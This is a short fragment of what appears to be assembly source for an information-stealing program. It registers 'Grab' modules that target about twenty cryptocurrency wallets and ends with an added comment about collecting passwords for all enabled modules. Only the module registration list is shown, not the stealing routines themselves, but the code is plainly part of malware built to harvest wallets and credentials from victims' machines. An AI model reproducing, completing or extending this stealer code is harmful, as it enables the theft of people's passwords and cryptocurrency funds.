AddModule COMPILE_MODULE_WORLDCOIN, GrabWorldcoin
AddModule COMPILE_MODULE_INFINITECOIN, GrabInfinitecoin
AddModule COMPILE_MODULE_IXCOIN, GrabIxcoin
AddModule COMPILE_MODULE_ANONCOIN, GrabAnoncoin
AddModule COMPILE_MODULE_BBQCOIN, GrabBBQcoin
AddModule COMPILE_MODULE_DIGITALCOIN, GrabDigitalcoin
AddModule COMPILE_MODULE_MINCOIN, GrabMincoin
AddModule COMPILE_MODULE_GOLDCOIN, GrabGoldcoin
AddModule COMPILE_MODULE_YACOIN, GrabYacoin
AddModule COMPILE_MODULE_ZETACOIN, GrabZetacoin
AddModule COMPILE_MODULE_FASTCOIN, GrabFastcoin
AddModule COMPILE_MODULE_I0COIN, GrabI0coin
AddModule COMPILE_MODULE_TAGCOIN, GrabTagcoin
AddModule COMPILE_MODULE_BYTECOIN, GrabBytecoin
AddModule COMPILE_MODULE_FLORINCOIN, GrabFlorincoin
AddModule COMPILE_MODULE_PHOENIXCOIN, GrabPhoenixcoin
AddModule COMPILE_MODULE_LUCKYCOIN, GrabLuckycoin
AddModule COMPILE_MODULE_CRAFTCOIN, GrabCraftcoin
AddModule COMPILE_MODULE_JUNKCOIN, GrabJunkcoin
Line 13273 (comment added):
; Collect passwords for all enabled modules